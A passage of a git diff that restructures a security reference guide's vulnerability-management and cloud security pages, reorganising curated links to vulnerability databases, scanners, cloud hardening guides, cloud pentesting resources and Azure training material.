Hunting for Token Manipulation](https://specterops.io/assets/resources/A\_Process\_is\_No\_One.pdf) -* [https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/](https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/) -* [https://github.com/schwartz1375/aws](https://github.com/schwartz1375/aws) - Repo for threat hunting in AWS. +* [A Process is No One : Hunting for Token Manipulation](https://specterops.io/assets/resources/A_Process_is_No_One.pdf) +* [Linux Threat Hunting for Persistence with Sysmon, Auditd, and Webshells](https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/) +* [AWS Threat Hunting Repo](https://github.com/schwartz1375/aws) - Repo for threat hunting in AWS. diff --git a/blue-defense/vulnerability-management..md b/blue-defense/vulnerability-management..md deleted file mode 100644 index 43b0779..0000000 --- a/blue-defense/vulnerability-management..md +++ /dev/null @@ -1,73 +0,0 @@ -# Asset and Vulnerability Management. - -## Asset Management - -### Sources of Asset Data - -* ARP Cache - Contains IP and MAC addresses -* DHCP logs - IP addresses and Hostnames -* NMAP Scans - IP Addresses, Open Ports, Running Services, Possibly operating system -* Powershell commands - Just about everything -* SNMP - Many things -* Vulnerability Management Software -* Windows Management Interface -* EDR/IR Tools (Velociraptor) - -### Manangement Tools - -* [http://netdisco.org/](http://netdisco.org/) - Netdisco is a web-based network management tool suitable for small to very large networks. IP and MAC address data is collected into a PostgreSQL database using SNMP, CLI, or device APIs. -* [https://www.rumble.run/product/overview/](https://www.rumble.run/product/overview/) - Simple, fast, and accurate asset inventory tracking utility. - -### MAC Address Lookup - -* [MAC Vendor Lookup](https://www.macvendorlookup.com/) - Look up the vendor for a specific MAC Address -* [macvendors.com](https://macvendors.com/) - Find MAC Address Vendors. Now. -* [macaddress.io](https://macaddress.io/) - MAC address vendor lookup -* [maclookup.app](https://maclookup.app/) - Find the vendor name of a device by entering an OUI or a MAC address - -### References - -* _Defensive Security Handbook - pg. 13_ - -## Vulnerability Management - -For Vulnerability Scanning Tools, please refer to: - -{% embed url="https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/testing-methodology/scanning-active-recon#vulnerability-scanning" %} -Contains Vulnerability Scanning tools used for both Offensive and Defensive purposes. -{% endembed %} - -* [Rapid7 Vulnerability & Exploit Database](https://www.rapid7.com/db/) is a curated repository of vetted computer software exploits and exploitable vulnerabilities. Technical details for over 180,000 vulnerabilities and 4,000 exploits are available for security professionals and researchers to review. These vulnerabilities are utilized by our vulnerability management tool [InsightVM](https://www.rapid7.com/products/insightvm/). -* [InsightVM](https://www.rapid7.com/products/insightvm/) is a data-rich resource that can amplify the other solutions in your tech stack, from SIEMs and firewalls to ticketing systems. Only InsightVM integrates with 40+ other leading technologies, and with an open RESTful API, your vulnerability data makes your other tools more valuable. -* [NIST NVD](https://nvd.nist.gov/vuln/search) - National Vulnerability Database -* [MITRE CVE](https://cve.mitre.org/cve/search\_cve\_list.html) - Identify, define, and catalog publicly disclosed cybersecurity vulnerabilities -* [GitHub Advisory Database](https://github.com/advisories) - Security vulnerability database inclusive of CVEs and GitHub originated security advisories -* [cloudvulndb.org](https://www.cloudvulndb.org/) - The Open Cloud Vulnerability & Security Issue Database -* [osv.dev](https://osv.dev/list) - Open Source Vulnerabilities -* [Vulners.com](https://vulners.com/) - Your Search Engine for Security Intelligence -* [opencve.io](https://www.opencve.io/cve) - Easiest way to track CVE updates and be alerted about new vulnerabilities -* [security.snyk.io](https://security.snyk.io/) - Open Source Vulnerability Database -* [Mend Vulnerability Database](https://www.mend.io/vulnerability-database/) - The largest open source vulnerability DB -* [CVEDetails](https://www.cvedetails.com/) - The ultimate security vulnerability datasource -* [VulnIQ](https://vulniq.com/) - Vulnerability intelligence and management solution -* [SynapsInt](https://synapsint.com/) - The unified OSINT research tool -* [Aqua Vulnerability Database](https://avd.aquasec.com/) - Vulnerabilities and weaknesses in open source applications and cloud native infrastructure -* [Vulmon](https://vulmon.com/) - Vulnerability and exploit search engine -* [VulDB](https://vuldb.com/) - Number one vulnerability database -* _Defensive Security Handbook: Vulnerability Management - pg. 169_ - -### OpenScap - -The [OpenSCAP](https://www.open-scap.org/) ecosystem provides multiple tools to assist administrators and auditors with assessment, measurement, and enforcement of security baselines. The tool is charecterized for its great flexibility and interoperability, reducing the costs of performing security audits. - -* Latest compiled SCAP packages: [https://github.com/ComplianceAsCode/content/releases/tag/v0.1.50](https://github.com/ComplianceAsCode/content/releases/tag/v0.1.50) -* Github Repo: [https://github.com/ComplianceAsCode/content](https://github.com/ComplianceAsCode/content) -* `oscap` cmdline tool user manual: [http://static.open-scap.org/openscap-1.2/oscap\_user\_manual.html](http://static.open-scap.org/openscap-1.2/oscap\_user\_manual.html) -* Great Red Hat Documentation on OpenSCAP: [https://access.redhat.com/documentation/en-us/red\_hat\_enterprise\_linux/6/html/security\_guide/sect-scanning\_the\_system\_in\_oscap](https://access.redhat.com/documentation/en-us/red\_hat\_enterprise\_linux/6/html/security\_guide/sect-scanning\_the\_system\_in\_oscap) - -{% embed url="https://github.com/HASecuritySolutions/VulnWhisperer" %} - -### Other Vuln management platforms - -* [https://github.com/deepfence/ThreatMapper](https://github.com/deepfence/ThreatMapper) - Open source cloud native security observability platform. Linux, K8s, AWS Fargate and more. -* [https://github.com/infobyte/faraday](https://github.com/infobyte/faraday) - Open Source Vulnerability Management Platform diff --git a/blue-defense/vulnerability-management.md b/blue-defense/vulnerability-management.md new file mode 100644 index 0000000..3e544e2 --- /dev/null +++ b/blue-defense/vulnerability-management.md @@ -0,0 +1,125 @@ +# Asset and Vulnerability Management + +This page focuses on defensive asset inventory, vulnerability intelligence, prioritization, and vulnerability management platforms. Active reconnaissance and offensive scanning methodology live in Red Offensive; configuration baselines and compliance tooling live in Device Hardening. + +## Asset Management + +### Sources of Asset Data + +* ARP cache - IP and MAC address relationships. +* DHCP logs - IP addresses, hostnames, and lease history. +* Nmap scans - IP addresses, open ports, running services, and operating system hints. +* PowerShell commands - System information, installed software, network configuration, and user details. +* SNMP - Device information, network statistics, and system status. +* Vulnerability management software. +* Windows Management Instrumentation. +* EDR and IR tools such as Velociraptor. + +### Management Tools + +* [Netdisco](http://netdisco.org/) - Web-based network management tool that collects IP and MAC data into PostgreSQL using SNMP, CLI, or device APIs. +* [runZero](https://www.runzero.com/) - Formerly Rumble. Useful for asset inventory and network discovery; its unauthenticated active scanning workflow is covered with active reconnaissance resources. + +{% content-ref url="../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../red-offensive/scanning-active-recon/) +{% endcontent-ref %} + +### MAC Address Lookup + +* [MAC Vendor Lookup](https://www.macvendorlookup.com/) - Look up the vendor for a specific MAC address. +* [macvendors.com](https://macvendors.com/) - MAC address vendor lookup. +* [macaddress.io](https://macaddress.io/) - MAC address vendor lookup. +* [maclookup.app](https://maclookup.app/) - Find the vendor name of a device by OUI or MAC address. + +### References + +* _Defensive Security Handbook - pg. 13_ + +## Vulnerability Management + +For vulnerability scanning tools used in offensive testing and authorized assessment workflows, use Scanning and Active Recon. + +{% content-ref url="../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../red-offensive/scanning-active-recon/) +{% endcontent-ref %} + +### Scanning Techniques + +* **Authenticated Scanning:** The scanner logs into the target system using credentials such as SSH or SMB to inspect installed software, configurations, and patches from the inside. This provides the most accurate results and reduces false positives. +* **Unauthenticated Scanning:** The scanner assesses the target from the network perspective without logging in. It identifies open ports, services, and exposed vulnerabilities but misses internal configuration issues. +* **Agent-based Scanning:** Lightweight agents are installed on endpoints to report system state and vulnerabilities to a central platform. This supports continuous monitoring even when devices are off the corporate network. + +### Vulnerability Databases and Intelligence + +* [Rapid7 Vulnerability & Exploit Database](https://www.rapid7.com/db/) - Curated repository of vetted exploits and vulnerabilities. +* [NIST NVD](https://nvd.nist.gov/vuln/search) - National Vulnerability Database. +* [CVE Program](https://www.cve.org/) - Public catalog of disclosed cybersecurity vulnerabilities. +* [GitHub Advisory Database](https://github.com/advisories) - Security vulnerability database inclusive of CVEs and GitHub-originated advisories. +* [cloudvulndb.org](https://www.cloudvulndb.org/) - Open Cloud Vulnerability and Security Issue Database. +* [OSV](https://osv.dev/list) - Open Source Vulnerabilities database. +* [Vulners](https://vulners.com/) - Vulnerability and exploit intelligence search engine. +* [OpenCVE](https://www.opencve.io/cve) - CVE tracking and alerting. +* [Snyk Vulnerability DB](https://security.snyk.io/) - Open-source vulnerability database. +* [Mend Vulnerability Database](https://www.mend.io/vulnerability-database/) - Open-source vulnerability database. +* [CVEDetails](https://www.cvedetails.com/) - Vulnerability datasource and CVE search. +* [Aqua Vulnerability Database](https://avd.aquasec.com/) - Vulnerabilities and weaknesses for open-source and cloud-native infrastructure. +* [Vulmon](https://vulmon.com/) - Vulnerability and exploit search engine. +* [VulDB](https://vuldb.com/) - Vulnerability intelligence database. +* _Defensive Security Handbook: Vulnerability Management - pg. 169_ + +### Risk Scoring and Prioritization + +* [CISA Known Exploited Vulnerabilities (KEV) Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - Living list of vulnerabilities exploited in the wild. +* [EPSS (Exploit Prediction Scoring System)](https://www.first.org/epss/) - Data-driven estimate of exploitation probability. +* [SSVC (Stakeholder-Specific Vulnerability Categorization)](https://github.com/CERTCC/SSVC) - Decision tree model for prioritizing vulnerability response. +* [CVSS (Common Vulnerability Scoring System)](https://www.first.org/cvss/) - Industry standard for assessing vulnerability severity. + +### Standards and Supply Chain Security + +* **CPE (Common Platform Enumeration):** Structured naming scheme for information technology systems, software, and packages. +* **SBOM (Software Bill of Materials):** Inventory of software components, dependencies, and licenses. Key formats include [CycloneDX](https://cyclonedx.org/) and [SPDX](https://spdx.dev/). + +### Code, Dependency, and Container Scanning + +Use these tools for source-code scanning, dependency vulnerability detection, secret scanning, and container or filesystem vulnerability checks. + +* [Snyk CLI](https://github.com/snyk/snyk) - Finds vulnerabilities in open-source dependencies, container images, and infrastructure as code. +* [Mend](https://www.mend.io/) - Software composition analysis and open-source dependency security platform. +* [Brakeman](https://github.com/presidentbeef/brakeman) - Static analysis security scanner for Ruby on Rails applications. +* [Cppcheck](https://cppcheck.sourceforge.io/) - Static analysis tool for C/C++ code. +* [SpotBugs](https://spotbugs.github.io/) - Static analysis tool for Java and successor to FindBugs. +* [Sobelow](https://github.com/nccgroup/sobelow) - Security-focused static analysis for the Phoenix Framework. +* [Bandit](https://pypi.org/project/bandit/) - Static analysis tool for common Python security issues. +* [Package Hunter](https://about.gitlab.com/blog/2021/07/23/announcing-package-hunter/) - Dependency scanner for potentially malicious code behavior. +* [Semgrep](https://github.com/semgrep/semgrep) - Lightweight static analysis tool for many languages. +* [GitGuardian ggshield](https://github.com/GitGuardian/ggshield) - Secret detection CLI for repositories and local code. +* [Puma Scan](https://github.com/pumasecurity/puma-scan) - Security-focused source code analysis for .NET in Visual Studio. +* [Betterscan CE](https://github.com/marcinguy/betterscan-ce) - Community code, IaC, SAST, and linting scanner aggregator. +* [Trivy](https://github.com/aquasecurity/trivy) - Vulnerability and misconfiguration scanner for containers, filesystems, Git repositories, and IaC. +* [Grype](https://github.com/anchore/grype) - Vulnerability scanner for container images and filesystems. +* [OWASP Dependency-Check](https://owasp.org/www-project-dependency-check/) - Software composition analysis tool for publicly disclosed vulnerabilities. +* [Insecure Programming](https://github.com/deadbits/InsecureProgramming) - Educational examples of insecure programming practices. +* [Secure Coding in C/C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137) +* [The Art of Software Security Assessment](https://www.amazon.com/Art-Software-Security-Assessment-Vulnerabilities/dp/0321444426) + +OpenSCAP and baseline compliance resources are maintained in Device Hardening. + +{% content-ref url="device-hardening/" %} +[device-hardening](device-hardening/) +{% endcontent-ref %} + +### Vulnerability Management Platforms + +* [InsightVM](https://www.rapid7.com/products/insightvm/) - Vulnerability management platform that integrates with Rapid7's vulnerability and exploit database. +* [ThreatMapper](https://github.com/deepfence/ThreatMapper) - Open-source cloud-native security observability platform for Linux, Kubernetes, AWS Fargate, and more. + +Faraday is preserved in the offensive toolbox as a penetration testing IDE. + +{% content-ref url="../red-offensive/offensive-toolbox/" %} +[offensive-toolbox](../red-offensive/offensive-toolbox/) +{% endcontent-ref %} + +## Deprecated or Archived Tools + +* [VulnWhisperer](https://github.com/HASecuritySolutions/VulnWhisperer) - Archived vulnerability management and report aggregation project. +* **VulnIQ & SynapsInt:** Previously listed here as vulnerability intelligence resources. They are preserved in exploit research and OSINT pages where they better fit the workflow. diff --git a/cloud.md b/cloud.md index 30a9145..f8028fe 100644 --- a/cloud.md +++ b/cloud.md @@ -1,340 +1,312 @@ +--- +description: Cloud security resources for AWS, Azure, Google Cloud, Microsoft 365, cloud hardening, cloud logging, and authorized cloud testing. +--- + # Yellow - Cloud -## **General Cloud** +This page is the cloud security hub for AWS, Microsoft Azure/Microsoft 365, Google Cloud, and multi-cloud tooling. Keep provider-specific administration, hardening, and authorized testing references here; move logging, SIEM, DFIR, password spraying, and general training resources to their dedicated sections when they are not cloud-specific. -### Cloud Basics and design +## Related Sections -* [Cloud Computing for Science and Engineering](https://cloud4scieng.org/chapters/) - Ian Foster, Dennis B. Gannon (🚧 _in process_) -* [Cloud Design Patterns](https://docs.microsoft.com/en-us/azure/architecture/patterns/) -* [Designing Distributed Systems](https://azure.microsoft.com/en-us/resources/designing-distributed-systems/) _(account required)_ -* [Multi-tenant Applications for the Cloud, 3rd Edition](http://www.microsoft.com/en-us/download/details.aspx?id=29263) +Cloud logging and audit collection are maintained in Security Logging. -### Cloud Security and Hardening +{% content-ref url="security-logging/logging-cloud.md" %} +[logging-cloud.md](security-logging/logging-cloud.md) +{% endcontent-ref %} -* [SANS Cloud Security Checklist](https://www.sans.org/cloud-security/securing-web-application-technologies/?msc=cloud-security-lp) - Best practices and references for hardening your cloud infrastructure. -* [https://github.com/riskprofiler/CloudFrontier](https://github.com/riskprofiler/CloudFrontier) - Monitor the internet attack surface of various public cloud environments. Currently supports AWS, GCP, Azure, DigitalOcean and Oracle Cloud. -* [https://cloudsecdocs.com/](https://cloudsecdocs.com/) - Great page with tons of detail on cloud and container security -* [https://cloudsecwiki.com/](https://cloudsecwiki.com/) - Handy page with a few resources and hardening tips for cloud deployments. -* [https://medium.com/mitre-engenuity/research-partnership-matures-att-ck-for-cloud-d232998968ce](https://medium.com/mitre-engenuity/research-partnership-matures-att-ck-for-cloud-d232998968ce) +KQL and SIEM query examples belong with Blue Defense. -### Cloud Pen Testing +{% content-ref url="blue-defense/query-languages.md" %} +[query-languages.md](blue-defense/query-languages.md) +{% endcontent-ref %} -* [https://github.com/CyberSecurityUP/Awesome-Cloud-PenTest](https://github.com/CyberSecurityUP/Awesome-Cloud-PenTest) - Huge collection of different offensive cloud tools and resources. -* [https://hackingthe.cloud/](https://hackingthe.cloud/) - Solid resource for cloud pentesting methodology and tooling. -* [https://github.com/dafthack/CloudPentestCheatsheets](https://github.com/dafthack/CloudPentestCheatsheets) - This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. -* _Hacking: The next generation - Cloud Insecurity: Sharing the cloud with your enemy, pg. 121_ +Cloud posture assessment tools such as Prowler, ScoutSuite, and Cloudsplaining are also indexed with hardening resources. -### Multi-Cloud Tools +{% content-ref url="blue-defense/device-hardening/" %} +[device-hardening](blue-defense/device-hardening/) +{% endcontent-ref %} + +Cloud training and certification resources belong in Training. -* Enumeration and Auditing - * [cloudfox](https://github.com/BishopFox/cloudfox) - CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - * [https://bishopfox.com/blog/introducing-cloudfox](https://bishopfox.com/blog/introducing-cloudfox) - * [cloud-enum](https://www.kali.org/tools/cloud-enum/) - enumerates public resources matching user requested keywords in public clouds - * [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. Using the APIs exposed by cloud providers, Scout Suite gathers configuration data for manual inspection and highlights risk areas. Rather than going through dozens of pages on the web consoles, Scout Suite presents a clear view of the attack surface automatically. - * [https://www.youtube.com/watch?v=k8CQhvQAu7E](https://www.youtube.com/watch?v=k8CQhvQAu7E) - * [SkyArk](https://github.com/cyberark/SkyArk) - SkyArk helps to discover, assess and secure the most privileged entities in Azure and AWS - * [PMapper](https://github.com/nccgroup/PMapper) - Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for privilege escalation and for alternate paths an attacker could take to gain access to a resource or action in AWS. - * [gitoops](https://github.com/ovotech/gitoops) - GitOops is a tool to help attackers and defenders identify lateral movement and privilege escalation paths in GitHub organizations by abusing CI/CD pipelines and GitHub access controls. - * [cloudbrute](https://www.kali.org/tools/cloudbrute/) - This package contains a tool to find a company (target) infrastructure, files, and apps on the top cloud providers - * [https://0xsha.io/posts/introducing-cloudbrute-wild-hunt-on-the-clouds](https://0xsha.io/posts/introducing-cloudbrute-wild-hunt-on-the-clouds) -* Offensive Frameworks - * [ cloudsploit](https://github.com/aquasecurity/cloudsploit) - CloudSploit by Aqua is an open-source project designed to allow detection of security risks in cloud infrastructure accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub. These scripts are designed to return a series of potential misconfigurations and security risks. - * [serverless-prey](https://github.com/pumasecurity/serverless-prey) - Serverless Prey is a collection of serverless functions (FaaS), that, once launched to a cloud environment and invoked, establish a TCP reverse shell, enabling the user to introspect the underlying container: - * [Panther](https://github.com/pumasecurity/serverless-prey/blob/main/panther): AWS Lambda written in Node.js - * [Cougar](https://github.com/pumasecurity/serverless-prey/blob/main/cougar): Azure Function written in C# - * [Cheetah](https://github.com/pumasecurity/serverless-prey/blob/main/cheetah): Google Cloud Function written in Go +{% content-ref url="training/" %} +[training](training/) +{% endcontent-ref %} -![](.gitbook/assets/canvas.png) +## General Cloud + +### Cloud Basics and Design + +* [Cloud Computing for Science and Engineering](https://cloud4scieng.org/chapters/) - Ian Foster and Dennis B. Gannon. +* [Cloud Design Patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/) - Microsoft architecture guidance for resilient cloud systems. +* [Designing Distributed Systems](https://azure.microsoft.com/en-us/resources/designing-distributed-systems/) - Free Microsoft ebook; account may be required. +* [Multi-tenant Applications for the Cloud, 3rd Edition](https://www.microsoft.com/en-us/download/details.aspx?id=29263) - Microsoft guide to multi-tenant application design. +* [CloudSecDocs](https://cloudsecdocs.com/) - Detailed references for cloud and container security. +* [CloudSecWiki](https://cloudsecwiki.com/) - Curated cloud security notes and hardening tips. +* [ATT&CK for Cloud](https://medium.com/mitre-engenuity/research-partnership-matures-att-ck-for-cloud-d232998968ce) - MITRE Engenuity note on cloud technique coverage. + +### Cloud Security and Hardening -### General Cloud Training Resources +* [SANS Cloud Security](https://www.sans.org/cloud-security/) - Cloud security training and guidance. The old checklist URL now redirects to a broader SANS cloud landing page. +* [CloudFrontier](https://github.com/riskprofiler/CloudFrontier) - Monitors internet-facing attack surface across AWS, GCP, Azure, DigitalOcean, and Oracle Cloud. +* [Cloud Conformity Azure knowledge base](https://www.trendmicro.com/cloudoneconformity/knowledge-base/azure/) - Trend Micro Cloud One Conformity replaced the old Cloud Conformity branding. +* [Cloud Conformity AWS knowledge base](https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/) - Trend Micro Cloud One Conformity AWS best-practice checks. -* [https://cloudacademy.com/](https://cloudacademy.com/) +### Cloud Pentesting -## **Azure and O365 -** The Microsoft Cloud Environment +* [Awesome Cloud PenTest](https://github.com/CyberSecurityUP/Awesome-Cloud-PenTest) - Large collection of offensive cloud tools and resources. +* [Hacking the Cloud](https://hackingthe.cloud/) - Cloud pentesting methodology, tradecraft, and tooling. +* [Cloud Pentest Cheatsheets](https://github.com/dafthack/CloudPentestCheatsheets) - Cheatsheets for cloud provider testing workflows. +* _Hacking: The Next Generation - Cloud Insecurity: Sharing the Cloud with Your Enemy, pg. 121_ + +### Multi-Cloud Tools + +* [cloudfox](https://github.com/BishopFox/cloudfox) - Finds exploitable paths in unfamiliar AWS, Azure, GCP, and Kubernetes environments. + * [Introducing CloudFox](https://bishopfox.com/blog/introducing-cloudfox) +* [cloud-enum](https://www.kali.org/tools/cloud-enum/) - Enumerates public cloud resources from keywords. +* [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - Multi-cloud security posture assessment and reporting. + * [ScoutSuite overview video](https://www.youtube.com/watch?v=k8CQhvQAu7E) +* [SkyArk](https://github.com/cyberark/SkyArk) - Discovers privileged entities in Azure and AWS. +* [PMapper](https://github.com/nccgroup/PMapper) - Models AWS IAM principals and privilege escalation paths. +* [GitOops](https://github.com/ovotech/gitoops) - Finds lateral movement and privilege escalation paths in GitHub organizations through CI/CD and access-control abuse. +* [cloudbrute](https://www.kali.org/tools/cloudbrute/) - Discovers public cloud infrastructure, files, and apps. + * [Introducing CloudBrute](https://0xsha.io/posts/introducing-cloudbrute-wild-hunt-on-the-clouds) +* [CloudSploit](https://github.com/aquasecurity/cloudsploit) - Cloud security posture checks by Aqua. Treat this as a defensive CSPM project rather than an offensive framework. +* [serverless-prey](https://github.com/pumasecurity/serverless-prey) - Serverless functions for authorized introspection of cloud function runtimes. + +## Microsoft Azure and Microsoft 365 ### Basics -* Reference Docs - * [https://github.com/MicrosoftDocs/azure-docs](https://github.com/MicrosoftDocs/azure-docs) - * [https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement](https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement) - Azure Pentesting Rules of Engagement - * [https://azurerange.azurewebsites.net/](https://azurerange.azurewebsites.net/) - Azure IP Ranges - * [https://www.cloudconformity.com/knowledge-base/azure/](https://www.cloudconformity.com/knowledge-base/azure/) - Azure Best Practices - * [https://docs.microsoft.com/en-us/security/benchmark/azure/v2-cis-benchmark](https://docs.microsoft.com/en-us/security/benchmark/azure/v2-cis-benchmark) - * [https://github.com/AzureAD/Deployment-Plans](https://github.com/AzureAD/Deployment-Plans) - * [https://attack.mitre.org/matrices/enterprise/cloud/azuread/](https://attack.mitre.org/matrices/enterprise/cloud/azuread/) - * [https://attack.mitre.org/matrices/enterprise/cloud/office365/](https://attack.mitre.org/matrices/enterprise/cloud/office365/) - * [https://github.com/reprise99](https://github.com/reprise99) -* Resource Collections - * [https://github.com/kmcquade/awesome-azure-security](https://github.com/kmcquade/awesome-azure-security) - * [https://github.com/Azure/Azure-Network-Security](https://github.com/Azure/Azure-Network-Security) -* Azure Vulnerabilities - * [https://rhinosecuritylabs.com/cloud-security/common-azure-security-vulnerabilities/](https://rhinosecuritylabs.com/cloud-security/common-azure-security-vulnerabilities/) - * [Azure Security Vulnerabilities and Pentesting | Rhino Security Labs](https://rhinosecuritylabs.com/cloud-security/common-azure-security-vulnerabilities/) - * [Top 20 Microsoft Azure Vulnerabilities and Misconfigurations - InfosecMatter](https://www.infosecmatter.com/top-20-microsoft-azure-vulnerabilities-and-misconfigurations/) -* Azure Tasks - * [https://docs.microsoft.com/en-us/microsoft-365/compliance/search-the-audit-log-in-security-and-compliance?view=o365-worldwide#search-the-audit-log](https://docs.microsoft.com/en-us/microsoft-365/compliance/search-the-audit-log-in-security-and-compliance?view=o365-worldwide#search-the-audit-log) - * [https://gcits.com/knowledge-base/enabling-unified-audit-log-delegated-office-365-tenants-via-powershell/](https://gcits.com/knowledge-base/enabling-unified-audit-log-delegated-office-365-tenants-via-powershell/) - * [https://docs.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema#auditlogrecordtype](https://docs.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema#auditlogrecordtype) - * [https://www.codetwo.com/admins-blog/how-to-export-office-365-mailboxes-to-pst-using-ediscovery/](https://www.codetwo.com/admins-blog/how-to-export-office-365-mailboxes-to-pst-using-ediscovery/) -* [The basics of modern authentication - Microsoft identity platform](https://www.youtube.com/watch?v=tkQJSHFsduY) -* [Unified Audit logs in Microsoft 365](https://www.youtube.com/watch?v=c1kId\_esv0k) +* [Azure documentation](https://github.com/MicrosoftDocs/azure-docs) +* [Microsoft Cloud Penetration Testing Rules of Engagement](https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement) +* [Microsoft Azure IP Ranges and Service Tags](https://www.microsoft.com/en-us/download/details.aspx?id=56519) - Official source for Azure service tag JSON. +* [Microsoft cloud security benchmark](https://learn.microsoft.com/en-us/security/benchmark/azure/) - Replaces older Azure Security Benchmark links. +* [Azure AD deployment plans](https://github.com/AzureAD/Deployment-Plans) +* [ATT&CK for Azure AD](https://attack.mitre.org/matrices/enterprise/cloud/azuread/) +* [ATT&CK for Office 365](https://attack.mitre.org/matrices/enterprise/cloud/office365/) +* [reprise99 Azure security resources](https://github.com/reprise99) +* [Awesome Azure Security](https://github.com/kmcquade/awesome-azure-security) +* [Azure Network Security](https://github.com/Azure/Azure-Network-Security) +* [Common Azure security vulnerabilities](https://rhinosecuritylabs.com/cloud-security/common-azure-security-vulnerabilities/) - Rhino Security Labs. +* [Top 20 Microsoft Azure Vulnerabilities and Misconfigurations](https://www.infosecmatter.com/top-20-microsoft-azure-vulnerabilities-and-misconfigurations/) - InfosecMatter. +* [AADInternals OSINT](https://aadinternals.com/osint/) - Tenant lookup and Azure AD OSINT. This also fits the OSINT domain/tenant workflow. ### Azure Training -* [The Developer’s Guide to Azure](https://azure.microsoft.com/en-us/campaigns/developer-guide/) - Great free traing from Microsoft -* [Awesome Azure Learning](https://github.com/ddneves/awesome-azure-learning): numerous references for Azure learning, especially for the Azure Certs, Azure Architecture, and any other learning materials e.g. Security topics. [![stars](https://camo.githubusercontent.com/db288453bb4f0236688e82769f92aedf7a03aa4ef17f8a00f76b512d98689b43/68747470733a2f2f62616467656e2e6e65742f6769746875622f73746172732f64646e657665732f617765736f6d652d617a7572652d6c6561726e696e67)](https://badgen.net/github/stars/ddneves/awesome-azure-learning) -* [https://microsoftlearning.github.io/AZ500-AzureSecurityTechnologies/](https://microsoftlearning.github.io/AZ500-AzureSecurityTechnologies/) - * [Azure AZ 500 Study Guide](https://github.com/AzureMentor/Azure-AZ-500-Study-Guide): Study Guide for the Microsoft Azure Security Technologies Exam. [![stars](https://camo.githubusercontent.com/c5e5ce98aba90db6f5fa5a3812adcea7e7304f7e8bf0e6e8dd59b7cbf8022474/68747470733a2f2f62616467656e2e6e65742f6769746875622f73746172732f417a7572654d656e746f722f417a7572652d415a2d3530302d53747564792d4775696465)](https://badgen.net/github/stars/AzureMentor/Azure-AZ-500-Study-Guide) - * [Azure AZ 500 Labs by Microsoft](https://github.com/MicrosoftLearning/AZ500-AzureSecurityTechnologies): Study Guide for the Microsoft Azure Security Technologies Exam. [![stars](https://camo.githubusercontent.com/09b095c5cafe315980128f127aab3ac2cba9b86e7fd66d45dbd3255e7400bd02/68747470733a2f2f62616467656e2e6e65742f6769746875622f73746172732f4d6963726f736f66744c6561726e696e672f415a3530302d417a7572655365637572697479546563686e6f6c6f67696573)](https://badgen.net/github/stars/MicrosoftLearning/AZ500-AzureSecurityTechnologies) -* [Breaking and Pwning Apps and Servers on AWS and Azure](https://github.com/appsecco/breaking-and-pwning-apps-and-servers-aws-azure-training): Course content, lab setup instructions and documentation of our very popular Breaking and Pwning Apps and Servers on AWS and Azure hands on training. [![stars](https://camo.githubusercontent.com/1541562f46c844b32ccd08825a05cf941b8ae994412e589fa7e4e4b97ee77ad1/68747470733a2f2f62616467656e2e6e65742f6769746875622f73746172732f617070736563636f2f627265616b696e672d616e642d70776e696e672d617070732d616e642d736572766572732d6177732d617a7572652d747261696e696e67)](https://badgen.net/github/stars/appsecco/breaking-and-pwning-apps-and-servers-aws-azure-training) -* [Learn Azure in a Month of Lunches](https://azure.microsoft.com/mediahandler/files/resourcefiles/learn-azure-in-a-month-of-lunches/Learn\_Azure\_in\_a\_Month\_of\_Lunches.pdf) - Iain Foulds (PDF) -* [Azure for Architects, Third Edition](https://azure.microsoft.com/en-us/resources/azure-for-architects/) (PDF) _(email address or account required)_ -* [Azure Functions Succinctly, Syncfusion](https://www.syncfusion.com/ebooks/azure-functions-succinctly) (PDF, Kindle) (email address requested, not required) -* [https://techcommunity.microsoft.com/t5/azure-sentinel/become-an-azure-sentinel-ninja-the-complete-level-400-training/ba-p/1246310](https://techcommunity.microsoft.com/t5/azure-sentinel/become-an-azure-sentinel-ninja-the-complete-level-400-training/ba-p/1246310) - -### Azure CLI - -* [https://docs.microsoft.com/en-us/cli/azure/](https://docs.microsoft.com/en-us/cli/azure/) -* [https://github.com/ferhaty/azure-cli-cheatsheet](https://github.com/ferhaty/azure-cli-cheatsheet) +* [The Developer's Guide to Azure](https://azure.microsoft.com/en-us/campaigns/developer-guide/) - Free Microsoft Azure training. +* [Awesome Azure Learning](https://github.com/ddneves/awesome-azure-learning) - Azure learning and certification resources. +* [AZ-500 Azure Security Technologies labs](https://microsoftlearning.github.io/AZ500-AzureSecurityTechnologies/) + * [Azure AZ-500 Study Guide](https://github.com/AzureMentor/Azure-AZ-500-Study-Guide) + * [Azure AZ-500 labs by Microsoft](https://github.com/MicrosoftLearning/AZ500-AzureSecurityTechnologies) +* [Breaking and Pwning Apps and Servers on AWS and Azure](https://github.com/appsecco/breaking-and-pwning-apps-and-servers-aws-azure-training) +* [Learn Azure in a Month of Lunches](https://azure.microsoft.com/mediahandler/files/resourcefiles/learn-azure-in-a-month-of-lunches/Learn_Azure_in_a_Month_of_Lunches.pdf) +* [Azure for Architects, Third 